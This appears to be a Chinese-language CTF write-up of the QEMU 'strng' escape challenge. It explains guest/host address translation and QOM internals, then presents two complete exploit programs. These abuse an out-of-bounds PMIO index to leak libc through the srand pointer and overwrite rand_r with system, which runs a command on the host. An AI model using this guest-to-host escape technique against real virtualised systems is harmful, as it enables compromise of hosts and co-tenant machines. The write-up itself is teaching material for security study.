是第一次接触qemu逃逸。
首先要补充一点基本知识。
qemu有几个关键地址。
GVA:guest virtual address(虚拟机中的虚拟地址)
GPA:guest physical address(虚拟机中的物理地址)
HVA:host virtual address(宿主机中的虚拟地址)
HPA: host physical address(宿主机中的物理地址)
转换的顺序也是显而易见的。
GVA-GPA-HVA-HPA
其实GPA只是宿主机mmap出来的一块空间。
这个是可以证明的。
我们先直接进入题目。
我们找到题目,开始分析。
首先我下载到的题目附件里面是没有启动命令的,但是看到大佬们都是拿这个脚本启动的。
./qemu-system-x86_64 \
-m 1G \
-device strng \
-hda my-disk.img \
-hdb my-seed.img \
-nographic \
-L pc-bios/ \
-enable-kvm \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22
可能是当时比赛给了吧…
我们也直接用它吧
稍加解释。
-enable-kvm 启动kvm加速
-L dir :指向BIOS和VGA BIOS所在目录(一般我们使用”-L .”)
-hda/-hdb/-hdd/-hdc “文件名” :虚拟机系统安装文件
-device strng 挂载strng设备
-m 内存是1G
-nographic,表示不需要图形界面
-monitor,对 qemu 提供的控制台进行重定向,如果没有设置的话,可以直接进入控制台。
启动起来之后要输入用户名、密码。
用户名是ubuntu,密码是passw0rd,应该是当时给了。
注意最后一行将22端口映射到宿主机的5555端口。所以我们可以通过:
ssh ubuntu@127.0.0.1 -p 5555
那么如何证明上面说的地址转换的问题呢?
发现了一个mmu的脚本。
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <fcntl.h>
#include <assert.h>
#include <inttypes.h>
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT) //4096
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
int fd;
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);//这里的addr属于gva,获取对应的page frame number
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);//返回对应的GPA
}
int main()
{
uint8_t *ptr;
uint64_t ptr_mem;
fd = open("/proc/self/pagemap", O_RDONLY); //通过读取pagemap文件,可以得到进程从虚拟地址到物理地址映射的信息
if (fd < 0) {
perror("open");
exit(1);
}
ptr = malloc(256); //首先开256的空间
strcpy(ptr, "Where am I?"); //将字符串拷贝过去
printf("%s\n", ptr);
ptr_mem = gva_to_gpa(ptr); //guest virtual mem -> guest physicals mem
//此时的ptr_mem对应的是虚拟机里字符串所在的物理内存地址。
printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);
getchar();
return 0;
}
我们其实可以直接在虚拟机编译好,这里我们按照大佬的做法,用scp传一下。
gcc mmu.c -static -m32 -o mmu
先编译好。
scp -P5555 mmu ubuntu@127.0.0.1:/home/ubuntu
这个地方可能会要root。
然后传上去。
然后这边就有了。
然后直接运行它。
会卡在这,毕竟不能让进程结束,我们要用gdb贴上去看一看。
ps -ef | grep qemu
首先找出qemu的进程pid
然后gdb贴上。
记得要在root下贴。
然后这里有坑点
贴gdb的时候,必须在root权限
那么意味着首先我们在root下要有一套gdb,pwndbg等等
然后gdb启动的目录不能是装pwngdb的那个目录。
因为gdb在启动的时候,会在你的当前工作目录下查找 “.gdbinit” 这个文件,并把它的内容作为gdb命令进行解释,所以如果我把脚本命名为".gdbinit",这样在启动的时候就会处理一些你常用的命令。
会出错。
最后就长这个样子。
找到他
是我们那个字符串。
其实到这就把我们前面说的四个地址解释清楚了。
进程mmap了一块大的内存专门给qemu用,这个对于qemu是物理地址,qemu再在上面做虚拟化的处理。
我们其实可以从启动脚本看出来我们挂载的是一个叫strng的设备。
那我们来到正文开始看程序。
搜索strng
看到奇怪函数。
程序主要是实现了这四个函数
那么所以mmio跟pmio是啥意思?
我们知道,strng是qemu的一个设备,设备就需要IO,那么问题来了,CPU如何与设备的控制寄存器和数据缓冲区进行通信?存在两个可选的方法。在第一个方法中,没一个控制寄存器被分配一个IO端口号。所有的IO端口形成IO端口空间。
那么IO空间跟内存空间应该如何实现?
有三种方法,第一种是完全隔离,内存空间是内存空间,端口空间是端口空间,第二种是内存空间开一块出来,当做端口空间。第三种就是混合模式。
那么我们这里其实使用的就是混合模式。
mmio(内存映射IO)
简单来说就是IO设备与内存共享同样的地址空间,以此来进行交互。
pmio(端口映射IO)
内存和I/O设备有各自的地址空间,不共享内存(被隔离)。而通过 in、out、outw,、outl 等指令实现交互。
我们还看到,上面的函数名称中反复出现pci三个字母。
pci是啥意思?
符合 PCI 总线标准的设备就被称为 PCI 设备 PCI 设备同时也分为主设备和目标设备两种,主设备是一次访问操作的发起者,而目标设备则是被访问者。
所以strng在虚拟机中就是以pci设备存在的。
其实 **pci_strng_register_types()**函数就是用于pci设备注册的。
除了那几个函数,上面还有5个奇奇怪怪的函数,他们是干嘛的?
我们需要从QOM说起。
QOM是QEMU 在C的基础上自己实现的一套面向对象机制,负责将device、bus等设备都抽象成为对象。
我们从网上直接找到了strng的源码,来顺便分析一下。
#include "qemu/osdep.h"
#include "hw/pci/pci.h"
#define STRNG(obj) OBJECT_CHECK(STRNGState, obj, "strng")
#define STRNG_MMIO_REGS 64
#define STRNG_MMIO_SIZE (STRNG_MMIO_REGS * sizeof(uint32_t))
#define STRNG_PMIO_ADDR 0
#define STRNG_PMIO_DATA 4
#define STRNG_PMIO_REGS STRNG_MMIO_REGS
#define STRNG_PMIO_SIZE 8
typedef struct {
PCIDevice pdev;
MemoryRegion mmio;
MemoryRegion pmio;
uint32_t addr;
uint32_t regs[STRNG_MMIO_REGS];
void (*srand)(unsigned int seed);
int (*rand)(void);
int (*rand_r)(unsigned int *seed);
} STRNGState;
static uint64_t strng_mmio_read(void *opaque, hwaddr addr, unsigned size)
{
STRNGState *strng = opaque;
if (size != 4 || addr & 3)
return ~0ULL;
return strng->regs[addr >> 2];
}
static void strng_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size)
{
STRNGState *strng = opaque;
uint32_t saddr;
if (size != 4 || addr & 3)
return;
saddr = addr >> 2;
switch (saddr) {
case 0:
strng->srand(val);
break;
case 1:
strng->regs[saddr] = strng->rand();
break;
case 3:
strng->regs[saddr] = strng->rand_r(&strng->regs[2]);
default:
strng->regs[saddr] = val;
}
}
static const MemoryRegionOps strng_mmio_ops = {
.read = strng_mmio_read,
.write = strng_mmio_write,
.endianness = DEVICE_NATIVE_ENDIAN,
};
static uint64_t strng_pmio_read(void *opaque, hwaddr addr, unsigned size)
{
STRNGState *strng = opaque;
uint64_t val = ~0ULL;
if (size != 4)
return val;
switch (addr) {
case STRNG_PMIO_ADDR:
val = strng->addr;
break;
case STRNG_PMIO_DATA:
if (strng->addr & 3)
return val;
val = strng->regs[strng->addr >> 2];
}
return val;
}
static void strng_pmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size)
{
STRNGState *strng = opaque;
uint32_t saddr;
if (size != 4)
return;
switch (addr) {
case STRNG_PMIO_ADDR:
strng->addr = val;
break;
case STRNG_PMIO_DATA:
if (strng->addr & 3)
return;
saddr = strng->addr >> 2;
switch (saddr) {
case 0:
strng->srand(val);
break;
case 1:
strng->regs[saddr] = strng->rand();
break;
case 3:
strng->regs[saddr] = strng->rand_r(&strng->regs[2]);
break;
default:
strng->regs[saddr] = val;
}
}
}
static const MemoryRegionOps strng_pmio_ops = {
.read = strng_pmio_read,
.write = strng_pmio_write,
.endianness = DEVICE_LITTLE_ENDIAN,
};
static void pci_strng_realize(PCIDevice *pdev, Error **errp)
{
STRNGState *strng = DO_UPCAST(STRNGState, pdev, pdev);
memory_region_init_io(&strng->mmio, OBJECT(strng), &strng_mmio_ops, strng, "strng-mmio", STRNG_MMIO_SIZE);
pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &strng->mmio);
memory_region_init_io(&strng->pmio, OBJECT(strng), &strng_pmio_ops, strng, "strng-pmio", STRNG_PMIO_SIZE);
pci_register_bar(pdev, 1, PCI_BASE_ADDRESS_SPACE_IO, &strng->pmio);
}
static void strng_instance_init(Object *obj)
{
STRNGState *strng = STRNG(obj);
strng->srand = srand;
strng->rand = rand;
strng->rand_r = rand_r;
}
static void strng_class_init(ObjectClass *class, void *data)
{
PCIDeviceClass *k = PCI_DEVICE_CLASS(class);
k->realize = pci_strng_realize;
k->vendor_id = PCI_VENDOR_ID_QEMU;
k->device_id = 0x11e9;
k->revision = 0x10;
k->class_id = PCI_CLASS_OTHERS;
}
static void pci_strng_register_types(void)
{
static const TypeInfo strng_info = {
.name = "strng",
.parent = TYPE_PCI_DEVICE,
.instance_size = sizeof(STRNGState),
.instance_init = strng_instance_init,
.class_init = strng_class_init,
};
type_register_static(&strng_info);
}
type_init(pci_strng_register_types)
首要要强调QOM中在靠几个结构体撑着。
首先第一个出场的是
struct TypeInfo
{
const char *name;
const char *parent; //父类
size_t instance_size;
size_t instance_align;
void (*instance_init)(Object *obj); //实例初始化函数
void (*instance_post_init)(Object *obj);
void (*instance_finalize)(Object *obj); //实例“析构”函数
bool abstract;
size_t class_size;
void (*class_init)(ObjectClass *klass, void *data); //在所有父类被初始化完成后调用的子类初始化函数
void (*class_base_init)(ObjectClass *klass, void *data);
void *class_data;
InterfaceInfo *interfaces; //封装了const char *type;
};
我们看strng的源码。
static void pci_strng_register_types(void)
{
static const TypeInfo strng_info = { //这里就是一个TypeInfo结构体
.name = "strng",
.parent = TYPE_PCI_DEVICE, //父类为 TYPE_PCI_DEVICE
.instance_size = sizeof(STRNGState),
.instance_init = strng_instance_init,
.class_init = strng_class_init, //类初始化,虚函数覆写
};
type_register_static(&strng_info);
}
type_init(pci_strng_register_types)
首先就是定义了一个TypeInfo结构体,里面定义了一些成员。
然后调用了type_init。负责注册。
接着往下调用,
#define type_init(function) module_init(function, MODULE_INIT_QOM)
#define module_init(function, type) \
static void __attribute__((constructor)) do_qemu_init_ ## function(void)
{ \
register_module_init(function,type); \
}
一路就来到了register_module_init
typedef struct ModuleEntry
{
void (*init)(void);
QTAILQ_ENTRY(ModuleEntry) node;
module_init_type type;
} ModuleEntry;
static void init_lists(void)
{
static int inited;
int i;
if (inited) {
return;
}
for (i = 0; i < MODULE_INIT_MAX; i++) {
QTAILQ_INIT(&init_type_list[i]);
}
QTAILQ_INIT(&dso_init_list);
inited = 1;
}
static ModuleTypeList *find_type(module_init_type type)
{
init_lists();
return &init_type_list[type];
}
void register_module_init(void (*fn)(void), module_init_type type)
{
ModuleEntry *e;
ModuleTypeList *l;
e = g_malloc0(sizeof(*e));
e->init = fn;
e->type = type;
l = find_type(type); //调用init_lists()做了初始化
QTAILQ_INSERT_TAIL(l, e, node);
}
这个函数做的事情大概就是malloc一个新的 ModuleEntry 结构体。并插入 init_type_list[Module_Init_Type] 链表中。
所以在QEMU真正启动之前,所有 module_entry 都被插入 init_type_list 。并且已经确定了初始化函数。
然后在qemu启动阶段main函数调用的时候,会对 init_type_list[Module_Init_Type] 链表中的每一个 ModuleEntry 调用其 init 函数。所以对于我们的strng里就是 pci_strng_register_types()。
pci_strng_register_types() 中首先对设备的一些信息做了初始化,接着调用了:type_register_static(&strng_info)
type_register_static(&strng_info) 最终调用了 type_register_internal(&strng_info)
static TypeImpl *type_register_internal(const TypeInfo *info)
{
TypeImpl *ti;
ti = type_new(info); //根据info信息,创建一个TypeImpl对象
type_table_add(ti); //将新建的TypeImpl对象注册到全局哈希表 type_table 中
return ti;
}
所以第二个结构体就是TypeImpl
struct TypeImpl
{
const char *name;
size_t class_size;
size_t instance_size;
size_t instance_align;
void (*class_init)(ObjectClass *klass, void *data);
void (*class_base_init)(ObjectClass *klass, void *data);
void *class_data;
void (*instance_init)(Object *obj);
void (*instance_post_init)(Object *obj);
void (*instance_finalize)(Object *obj);
bool abstract;
const char *parent;
TypeImpl *parent_type;
ObjectClass *class;
int num_interfaces;
InterfaceImpl interfaces[MAX_INTERFACES];
};
然后我们的每一个ModuleEntry 向 TypeImpl表 中的注册就算完成了。
但是呢我们到现在实际上只完成了 Module的注册,而没有真正完成 类的初始化。
类的初始化是在Typelmpl对象挂进表中开始的。
类的初始化来源于我们的第一个结构体中 .class_init = strng_class_init 这个函数。
在strng源代码中这个函数也有定义
static void strng_class_init(ObjectClass *class, void *data)
{
PCIDeviceClass *k = PCI_DEVICE_CLASS(class);
k->realize = pci_strng_realize;
k->vendor_id = PCI_VENDOR_ID_QEMU;
k->device_id = 0x11e9;
k->revision = 0x10;
k->class_id = PCI_CLASS_OTHERS;
}
一会重点调用的是pci_strng_realize
但是也有一些其他有意思的东西,就是我们看到的devicd_id与revision。
lspci也可以看的出来。
域是0000
总线号是00:03.0
厂商号1234
设备号11e9
它最终会一直调用到type_initialize
type_initialize会针对每一个注册的 TypeImpl 去做type 初始化
static void type_initialize(TypeImpl *ti)
{
TypeImpl *parent;
if (ti->class) { //如果 ti->class存在,那么说明初始化过了,直接return
return;
}
ti->class_size = type_class_get_size(ti);
ti->instance_size = type_object_get_size(ti);
if (ti->instance_size == 0) { //如果instance_size为0,标记为抽象类
ti->abstract = true;
}
if (type_is_ancestor(ti, type_interface)) {
......
}
ti->class = g_malloc0(ti->class_size);
parent = type_get_parent(ti); // 是否有父类?即是否存在继承关系?
if (parent) { // 如果存在继承关系的话
type_initialize(parent); //初始化父类
GSList *e;
int i;
g_assert(parent->class_size <= ti->class_size);
g_assert(parent->instance_size <= ti->instance_size);
memcpy(ti->class, parent->class, parent->class_size);//首先用父类数据 初始化
ti->class->interfaces = NULL;
for (e = parent->class->interfaces; e; e = e->next) {
InterfaceClass *iface = e->data;
ObjectClass *klass = OBJECT_CLASS(iface);
type_initialize_interface(ti, iface->interface_type, klass->type);//初始化对应接口
}
for (i = 0; i < ti->num_interfaces; i++) {
TypeImpl *t = type_get_by_name(ti->interfaces[i].typename);
if (!t) {
error_report("missing interface '%s' for object '%s'",
ti->interfaces[i].typename, parent->name);
abort();
}
for (e = ti->class->interfaces; e; e = e->next) {
TypeImpl *target_type = OBJECT_CLASS(e->data)->type;
if (type_is_ancestor(target_type, t)) {
break;
}
}
if (e) {
continue;
}
type_initialize_interface(ti, t, t); //初始化接口
}
}
/* 建立存放属性的hash表 */
ti->class->properties = g_hash_table_new_full(g_str_hash, g_str_equal, NULL,
object_property_free);
ti->class->type = ti;
while (parent) {
/* 对于父类来说,如果定义了class_base_init,就调用它 */
if (parent->class_base_init) {
parent->class_base_init(ti->class, ti->class_data);
}
parent = type_get_parent(parent);
}
/* 调用当前TypeImpl的class_init */
if (ti->class_init) {
ti->class_init(ti->class, ti->class_data);
}
}
然后就初始化好了第三个结构体
struct ObjectClass
{
/* private: */
Type type;
GSList *interfaces;
const char *object_cast_cache[OBJECT_CLASS_CAST_CACHE];
const char *class_cast_cache[OBJECT_CLASS_CAST_CACHE];
ObjectUnparent *unparent;
GHashTable *properties;
};
ObjectClass是所以类的基类。
然后用它来创建我们的第四个结构体,类对象
struct Object
{
/* private: */
ObjectClass *class;
ObjectFree *free;
GHashTable *properties;
uint32_t ref;
Object *parent;
};
我们放到程序中,其实一个对象就对应一个dvice。
以strng为例,用户可以定义自己的Object结构体,继承自PCIDevice
其初始化由:pci_strng_realize(PCIDevice *pdev, Error **errp) 来做。
static void pci_strng_realize(PCIDevice *pdev, Error **errp)
{
STRNGState *strng = DO_UPCAST(STRNGState, pdev, pdev);// DO_UPCAST实现了在继承链之间的强制转换
memory_region_init_io(&strng->mmio, OBJECT(strng), &strng_mmio_ops, strng, "strng-mmio", STRNG_MMIO_SIZE);
pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &strng->mmio);
memory_region_init_io(&strng->pmio, OBJECT(strng), &strng_pmio_ops, strng, "strng-pmio", STRNG_PMIO_SIZE);
pci_register_bar(pdev, 1, PCI_BASE_ADDRESS_SPACE_IO, &strng->pmio);
}
strng_init函数是可选项
有的话会在类对象初始化之后执行一下。
没有也没事
其中STRNGState前面也有定义
typedef struct {
PCIDevice pdev;
MemoryRegion mmio;
MemoryRegion pmio;
uint32_t addr;
uint32_t regs[STRNG_MMIO_REGS];
void (*srand)(unsigned int seed);
int (*rand)(void);
int (*rand_r)(unsigned int *seed);
} STRNGState;
qemu使用 MemoryRegion 来表示对应的内存空间,相应的每一个 MemoryRegion 都有对应的 MemoryRegionOps 来描述其操做。
也定义在上面的STRNGState中。
MemoryRegion mmio; //mmio内存空间
MemoryRegion pmio; //pmio内存空间
也有定义对应的 MemoryRegionOps
static const MemoryRegionOps strng_mmio_ops = { //mmio空间对应的操作
.read = strng_mmio_read, //对mmio空间的read由strng_mmio_read实现
.write = strng_mmio_write, //对mmio空间的write由strng_mmio_write实现
.endianness = DEVICE_NATIVE_ENDIAN,
};
至此我们连着QOM带着strng源码就都看完了。
那几个函数都是些干嘛的我们也就都了解了。
那么我们现在来好好看题。
首先shift + F1或者在视图,打开子视图中打开本地类型,然后搜索STRNGState。
为啥我们知道他是STRNGState?
我们知道mmio_read函数的第一个参数就是STRNGState类型的,去函数那看一下,汇编窗口中直接有显示。
然后右键编辑
然后我们去分析那四个IO函数
如果size=4,并且addr是4的倍数。
那么取 STRNGState 中regs区域中2 * addr 的内容返回。即 (®s + 2*addr)返回。
当size等于4时,i = addr / 4提供4个功能:
当i为0时,调用srand函数但并不给赋值给内存。
当i为1时,调用rand得到随机数并赋值给regs[1]。
当i为3时,调用rand_r函数,并使用regs[2]的地址作为参数,并最后将返回值赋值给regs[3],但后续仍然会将val值覆盖到regs[3]中。
其余则直接将传入的val值赋值给regs[i]。
看起来似乎addr可以由我们控制,可以使用addr来越界读写regs数组。那么如果传入的addr大于regs的边界,那么我们就可以读写到后面的函数指针了。但是事实上是不可以的,前面已经知道了mmio空间大小为256,我们传入的addr是不能大于mmio的大小;因为pci设备内部会进行检查,而刚好regs的大小为256,所以我们无法通过mmio进行越界读写。
当端口地址为0时直接返回opaque->addr,否则将opaque->addr右移两位作为索引i,返回regs[i]的值,比较关注的是这个opaque->addr在哪里赋值,它在下面的strng_pmio_write中被赋值。
当size等于4时,以传入的端口地址为判断提供4个功能:
当端口地址为0时,直接将传入的val赋值给opaque->addr。
当端口地址不为0时,将opaque->addr右移两位得到索引i,分为三个功能:
i为0时,执行srand,返回值不存储。
i为1时,执行rand并将返回结果存储到regs[1]中。
i为3时,调用rand_r并将regs[2]作为第一个参数,返回值存储到regs[3]中。
否则直接将val存储到regs[i]中。
可以看到PMIO与MMIO的区别在于索引regs数组时,PMIO并不是由直接传入的端口地址addr去索引的;而是由opaque->addr去索引,而opaque->addr的赋值是我们可控的(端口地址为0时,直接将传入的val赋值给opaque->addr)。因此regs数组的索引可以为任意值,即可以越界读写。
利用方式
我们肯定是首先考虑泄露libc。
我们可以读srand地址,计算libc。
然后任意写,rand_r写成system,regs[2]写成cat flag就好了。
要注意libc的偏移,system的偏移要找宿主机。
先贴exp,我们再来一点一点解释。
首先我们要查看设备。
00:03.0 那一行是未归类,所以就是我们要分析的设备。
查看详细信息
lspci -v
获得pmio的端口地址 0xc050
端口地址指的是我们要访问这个设备的话端口的起始地址,而我们在上面说的什么地址等于0啥的,都是相对于这个起始地址来说的。
exp
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
size_t pmio_base = 0x000000000000c050; //pmoi端口地址
void * mmio_mem;
uint64_t mmio_read(uint32_t addr){
return *( (uint32_t *)mmio_mem + addr );
}
void mmio_write(uint32_t addr,uint32_t val ){
*((uint32_t *)mmio_mem + addr) = val;
}
void pmio_write(uint32_t addr,uint32_t val){
outl(val,addr);
}
uint64_t pmio_read(uint32_t addr){
return (uint32_t)inl(addr);
}
//定义mmio、pmio的读写函数
int main(){
setbuf(stdout,0);
setbuf(stdin,0);
setbuf(stderr,0);
int mmio_fd = open("/sys/devices/pci0000\:00/0000\:00\:03.0/resource0",O_RDWR | O_SYNC);
if(mmio_fd==-1){ perror("mmio failed");exit(-1); }
mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,mmio_fd,0); //mmap mmio space
if(mmio_mem == MAP_FAILED){ perror("map mmio failed");exit(-1);}
printf("addr of mmio:%p\n",mmio_mem);
//我们先打开对应的 /sys/devices/pci0000\:00/0000\:00\:03.0/resource0 ,然后将其以 MAP_SHARED 映射。那么我们可以通过操作这一块映射空间来读写操作mmio空间。
mmio_write(2,0x6d6f6e67); // regs[2]
mmio_write(3,0x61632d65); // regs[3]
mmio_write(4,0x6c75636c); // regs[4]
mmio_write(5,0x726f7461); // regs[5]
//mmio_write(24,0x6b637566);
//写入字符串在res[2]的地方
if(iopl(3)!=0){perror("iopl failed");exit(-1);}
//iopl函数能够将IO的等级提升起来,为后面的pmio的io做准备
uint64_t srand_addr;
uint64_t tmp;
uint64_t libc;
uint64_t system;
//得到srand函数地址前四字节
pmio_write(pmio_base+0,0x108);
srand_addr = pmio_read(pmio_base+4);
printf("[DEBUG] 0x%llx\n",srand_addr);
srand_addr = ((srand_addr<<32));
printf("[*]0x%llx\n",srand_addr);
//后四字节
pmio_write(pmio_base+0,0x104);
tmp = (pmio_read(pmio_base+4));
printf("[*]0x%llx\n",tmp);
srand_addr += tmp;
printf("srand_addr:0x%llx\n",srand_addr);
libc = srand_addr - 0x4a740;
printf("[*]libc_addr:0x%llx\n",libc);
system = libc+ 0x55410;
printf("[*]system:0x%llx\n",system);
//改后四个字节就可以了
pmio_write(pmio_base+0,0x114); //set addr
pmio_write(pmio_base+4,(system & 0xffffffff));// overwrite rand_r
/* trigger system */
pmio_write(pmio_base+3,0);
return 0;
}
稍微一变就可以从弹计算器变成cat flag
exp
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
size_t pmio_base = 0x000000000000c050;
void * mmio_mem;
uint64_t mmio_read(uint32_t addr){
return *( (uint32_t *)mmio_mem + addr );
}
void mmio_write(uint32_t addr,uint32_t val ){
*((uint32_t *)mmio_mem + addr) = val;
}
void pmio_write(uint32_t addr,uint32_t val){
outl(val,addr);
}
uint64_t pmio_read(uint32_t addr){
return (uint32_t)inl(addr);
}
int main(){
setbuf(stdout,0);
setbuf(stdin,0);
setbuf(stderr,0);
int mmio_fd = open("/sys/devices/pci0000\:00/0000\:00\:03.0/resource0",O_RDWR | O_SYNC);
if(mmio_fd==-1){ perror("mmio failed");exit(-1); }
mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,mmio_fd,0); //mmap mmio space
if(mmio_mem == MAP_FAILED){ perror("map mmio failed");exit(-1);}
printf("addr of mmio:%p\n",mmio_mem);
mmio_write(2,0x20746163); // regs[2]
mmio_write(3,0x67616c66); // regs[3]
//mmio_write(4,0x6c75636c); // regs[4]
//mmio_write(5,0x726f7461); // regs[5]
//mmio_write(24,0x6b637566);
if(iopl(3)!=0){perror("iopl failed");exit(-1);}
uint64_t srand_addr;
uint64_t tmp;
uint64_t libc;
uint64_t system;
/* first time we read high 4 bytes */
pmio_write(pmio_base+0,0x108);
srand_addr = pmio_read(pmio_base+4);
printf("[DEBUG] 0x%llx\n",srand_addr);
srand_addr = ((srand_addr<<32));
printf("[*]0x%llx\n",srand_addr);
/* Second time we read low 4 bytes */
pmio_write(pmio_base+0,0x104);
tmp = (pmio_read(pmio_base+4));
printf("[*]0x%llx\n",tmp);
srand_addr += tmp;
printf("srand_addr:0x%llx\n",srand_addr);
libc = srand_addr - 0x4a740;
printf("[*]libc_addr:0x%llx\n",libc);
system = libc+ 0x55410;
printf("[*]system:0x%llx\n",system);
/* we just need to overwrite low 4 bytes */
pmio_write(pmio_base+0,0x114); //set addr
pmio_write(pmio_base+4,(system & 0xffffffff));// overwrite rand_r
/* trigger system */
pmio_write(pmio_base+3,0);
return 0;
}